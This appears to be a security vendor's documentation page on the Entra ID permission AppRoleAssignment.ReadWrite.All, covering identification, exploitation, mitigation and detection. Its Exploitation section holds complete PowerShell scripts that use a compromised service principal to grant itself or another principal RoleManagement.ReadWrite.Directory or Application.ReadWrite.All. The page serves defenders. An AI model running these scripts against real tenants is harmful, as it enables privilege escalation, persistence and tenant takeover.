> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/azure/az_mg_approleassignment_readwrite_all.md).

# AZ\_MG\_APPROLEASSIGNMENT\_READWRITE\_ALL

## Summary

|                               |                                                         |
| ----------------------------- | ------------------------------------------------------- |
| **FSProtect ACL Alias**       | AZ\_MG\_APPROLEASSIGNMENT\_READWRITE\_ALL               |
| **Entra ID (Azure AD) Alias** | AppRoleAssignment.ReadWrite.All                         |
| **Affected Object Types**     | Service Principals, Applications                        |
| **Exploitation Certainty**    | Certain                                                 |
| **Graph Permission / Role**   | Application Permission: AppRoleAssignment.ReadWrite.All |

## Description

`AZ_MG_APPROLEASSIGNMENT_READWRITE_ALL` represents a Microsoft Graph application permission that grants **read and write access to application role assignments** in Microsoft Entra ID (Azure AD). This is one of the most dangerous permissions because it allows:

* **Grant application permissions** to any service principal for any API (including Microsoft Graph)
* **Remove application permissions** from any service principal
* **Assign app roles** to users, groups, and service principals for any application
* **Manage consent grants** for application permissions across the tenant

This permission is often abused for:

* **Privilege escalation**: Granting dangerous permissions like `RoleManagement.ReadWrite.Directory` or `Application.ReadWrite.All` to an attacker-controlled service principal
* **Persistence**: Creating service principals with high-privilege permissions that persist beyond user sessions
* **Lateral movement**: Granting permissions to access other APIs and applications in the tenant
* **Defense evasion**: Removing permissions from security monitoring applications

**Important**: This is an **application permission** that requires admin consent and is granted to service principals, not individual users. Once granted, the service principal can perform these actions without additional user context.

**Critical Warning**: With `AppRoleAssignment.ReadWrite.All`, an application can grant itself or any other service principal **any Microsoft Graph permission**, including `RoleManagement.ReadWrite.Directory` (which can then assign Global Administrator). This creates a path to complete tenant takeover.

**Key Difference from Application.ReadWrite.All**: While `Application.ReadWrite.All` allows creating and modifying applications and service principals, `AppRoleAssignment.ReadWrite.All` specifically controls which permissions are granted to those applications. Both are dangerous, but `AppRoleAssignment.ReadWrite.All` is the key to granting dangerous permissions.

## Identification

### PowerShell

#### Find Service Principals with AppRoleAssignment.ReadWrite.All

```powershell
Install-Module Microsoft.Graph -Scope CurrentUser
Import-Module Microsoft.Graph.Applications

Connect-MgGraph -Scopes "Application.Read.All", "AppRoleAssignment.Read.All"

$permissionId = "06b708a9-e830-4db3-a914-8e69da51d44f"  # AppRoleAssignment.ReadWrite.All GUID
$graphAppId = "00000003-0000-0000-c000-000000000000"  # Microsoft Graph App ID

# Get Microsoft Graph service principal
$graphSp = Get-MgServicePrincipal -Filter "appId eq '$graphAppId'"
if (-not $graphSp) { throw "Microsoft Graph service principal not found." }

# Get all app role assignments granted TO Microsoft Graph (much faster than iterating all SPs)
$allAssignments = Get-MgServicePrincipalAppRoleAssignedTo -ServicePrincipalId $graphSp.Id -All

# Filter for AppRoleAssignment.ReadWrite.All
$matchingAssignments = $allAssignments | Where-Object { $_.AppRoleId -eq $permissionId }

$results = $matchingAssignments | ForEach-Object {
    [PSCustomObject]@{
        ServicePrincipalName = $_.PrincipalDisplayName
        ServicePrincipalId   = $_.PrincipalId
        PermissionName       = "AppRoleAssignment.ReadWrite.All"
        PermissionId         = $permissionId
        ResourceId           = $_.ResourceId
        AssignedDateTime     = $_.CreatedDateTime
    }
}

Write-Host "Found $($results.Count) service principals with AppRoleAssignment.ReadWrite.All"
$results | Export-Csv -Path ".\AppRoleAssignmentReadWriteAll_ServicePrincipals.csv" -NoTypeInformation -Encoding UTF8
$results | Format-Table -AutoSize
```

## Exploitation

An attacker with access to a service principal that has `AppRoleAssignment.ReadWrite.All` can grant any Microsoft Graph permission to any service principal, enabling privilege escalation.

### Grant RoleManagement.ReadWrite.Directory to Attacker Service Principal

```powershell
Import-Module Microsoft.Graph.Applications

# Authenticate as the compromised service principal
$tenantId = "<tenant-id>"
$appId = "<compromised-app-id>"
$clientSecret = "<client-secret>"

$secureSecret = ConvertTo-SecureString $clientSecret -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($appId, $secureSecret)
Connect-MgGraph -ClientSecretCredential $credential -TenantId $tenantId

# RoleManagement.ReadWrite.Directory permission ID
$roleManagementPermissionId = "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8"

# Microsoft Graph App ID (constant)
$graphAppId = "00000003-0000-0000-c000-000000000000"

# Target application display name
$targetDisplayName = "<target-app-display-name>"

# Get target application object ID (App Registration) automatically
$targetApp = Get-MgApplication -Filter "displayName eq '$targetDisplayName'"
if (-not $targetApp) { throw "Application '$targetDisplayName' not found." }
$targetAppId = $targetApp.Id

# Get target service principal object ID (Enterprise Application) automatically
$targetSp = Get-MgServicePrincipal -Filter "displayName eq '$targetDisplayName'"
if (-not $targetSp) { throw "Service principal '$targetDisplayName' not found." }
$targetSpId = $targetSp.Id

# Get Microsoft Graph service principal object ID automatically
$graphSp = Get-MgServicePrincipal -Filter "appId eq '$graphAppId'"
if (-not $graphSp) { throw "Microsoft Graph service principal not found." }
$msgraphId = $graphSp.Id

Write-Output "Target App Registration: $targetAppId"
Write-Output "Target Service Principal: $targetSpId"

# Step 1: Add permission to configured permissions (App Registration)
$app = Get-MgApplication -ApplicationId $targetAppId
$existingAccess = $app.RequiredResourceAccess | Where-Object { $_.ResourceAppId -eq $graphAppId }

if ($existingAccess) {
    # Add to existing Microsoft Graph permissions
    $newRole = @{ Id = $roleManagementPermissionId; Type = "Role" }
    $existingAccess.ResourceAccess += $newRole
    Update-MgApplication -ApplicationId $targetAppId -RequiredResourceAccess $app.RequiredResourceAccess
} else {
    # Create new Microsoft Graph permission entry
    $newAccess = @{
        ResourceAppId = $graphAppId
        ResourceAccess = @(
            @{ Id = $roleManagementPermissionId; Type = "Role" }
        )
    }
    $allAccess = @($app.RequiredResourceAccess) + $newAccess
    Update-MgApplication -ApplicationId $targetAppId -RequiredResourceAccess $allAccess
}
Write-Output "Permission added to configured permissions"

# Step 2: Grant admin consent (App Role Assignment)
$params = @{
    PrincipalId = $targetSpId
    ResourceId  = $msgraphId
    AppRoleId   = $roleManagementPermissionId
}

$assignment = New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $targetSpId -BodyParameter $params
Write-Output "Admin consent granted: $($assignment.Id)"
```

![Grant RoleManagement.ReadWrite.Directory](/files/8L6vRN97ScseEsidfr0l)

### Grant Application.ReadWrite.All to Create Persistent Backdoor

```powershell
# Application.ReadWrite.All permission ID
$appReadWritePermissionId = "1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9"

# Microsoft Graph App ID (constant)
$graphAppId = "00000003-0000-0000-c000-000000000000"

# Target application display name
$targetDisplayName = "<target-app-display-name>"

# Get target application object ID (App Registration) automatically
$targetApp = Get-MgApplication -Filter "displayName eq '$targetDisplayName'"
if (-not $targetApp) { throw "Application '$targetDisplayName' not found." }
$targetAppId = $targetApp.Id

# Get target service principal object ID (Enterprise Application) automatically
$targetSp = Get-MgServicePrincipal -Filter "displayName eq '$targetDisplayName'"
if (-not $targetSp) { throw "Service principal '$targetDisplayName' not found." }
$targetSpId = $targetSp.Id

# Get Microsoft Graph service principal object ID automatically
$graphSp = Get-MgServicePrincipal -Filter "appId eq '$graphAppId'"
if (-not $graphSp) { throw "Microsoft Graph service principal not found." }
$msgraphId = $graphSp.Id

Write-Output "Target App Registration: $targetAppId"
Write-Output "Target Service Principal: $targetSpId"

# Step 1: Add permission to configured permissions (App Registration)
$app = Get-MgApplication -ApplicationId $targetAppId
$existingAccess = $app.RequiredResourceAccess | Where-Object { $_.ResourceAppId -eq $graphAppId }

if ($existingAccess) {
    # Add to existing Microsoft Graph permissions
    $newRole = @{ Id = $appReadWritePermissionId; Type = "Role" }
    $existingAccess.ResourceAccess += $newRole
    Update-MgApplication -ApplicationId $targetAppId -RequiredResourceAccess $app.RequiredResourceAccess
} else {
    # Create new Microsoft Graph permission entry
    $newAccess = @{
        ResourceAppId = $graphAppId
        ResourceAccess = @(
            @{ Id = $appReadWritePermissionId; Type = "Role" }
        )
    }
    $allAccess = @($app.RequiredResourceAccess) + $newAccess
    Update-MgApplication -ApplicationId $targetAppId -RequiredResourceAccess $allAccess
}
Write-Output "Permission added to configured permissions"

# Step 2: Grant admin consent (App Role Assignment)
$params = @{
    PrincipalId = $targetSpId
    ResourceId  = $msgraphId
    AppRoleId   = $appReadWritePermissionId
}

$assignment = New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $targetSpId -BodyParameter $params
Write-Output "Admin consent granted: $($assignment.Id)"
```

![Grant Application.ReadWrite.All](/files/lr7nijHKz27r6lw9fHKt)

## Mitigation

* **Audit all service principals** with `AppRoleAssignment.ReadWrite.All` and remove unnecessary grants.
  * Go to **Microsoft Entra ID** -> **App registrations** -> select the application -> **API permissions**.
  * Remove the `AppRoleAssignment.ReadWrite.All` permission if not required.
* **Apply least privilege**: This permission should almost never be granted to applications.
  * Use more specific permissions when possible.
  * Use delegated permissions with user context when appropriate.
* **Monitor permission grant changes**:
  * Enable Azure AD audit logs and alert on app role assignment changes.
  * Configure Microsoft Defender for Cloud Apps to detect suspicious permission modifications.
* **Protect the permission grant process**:
  * Require multiple approvals for granting this permission.
  * Document business justification for any application requiring this permission.
* **Implement Access Reviews** for applications with high-privilege permissions:
  * Go to **Identity Governance** -> **Access Reviews** -> **New access review**.
  * Review applications with sensitive Graph permissions regularly.
* **Use Conditional Access** to restrict service principal access:
  * Limit the locations and conditions under which service principals can authenticate.
  * Consider blocking service principals with this permission from non-trusted locations.

## Detection

Detect permission grants and suspicious app role assignment activity in **Audit logs**.

* Go to **Microsoft Entra ID** -> **Audit logs**.
* Filter by activities:
  * **Add app role assignment to service principal** (permission granted to SP)
  * **Remove app role assignment from service principal** (permission removed from SP)
  * **Add app role assignment grant to user** (app role assigned to user)

Monitor for suspicious patterns:

* Permission grants made by service principals (especially dangerous permissions like RoleManagement.ReadWrite.Directory)
* Bulk permission changes
* Permission grants outside of change management windows
* Removal of permissions from security or monitoring applications
* Self-granting of permissions by service principals

## References

* [Microsoft Graph Permissions Reference - AppRoleAssignment.ReadWrite.All](https://learn.microsoft.com/en-us/graph/permissions-reference#approleassignmentreadwriteall)
* [Microsoft Graph API - Grant an appRoleAssignment](https://learn.microsoft.com/en-us/graph/api/serviceprincipal-post-approleassignments)
* [Microsoft Graph API - List appRoleAssignments](https://learn.microsoft.com/en-us/graph/api/serviceprincipal-list-approleassignments)
* [Securing workload identities with Microsoft Entra ID](https://learn.microsoft.com/en-us/entra/workload-id/workload-identities-overview)
* [BloodHound - AZMGAppRoleAssignment\_ReadWrite\_All](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html)
* [ROADtools - Azure AD Exploration Framework](https://github.com/dirkjanm/ROADtools)
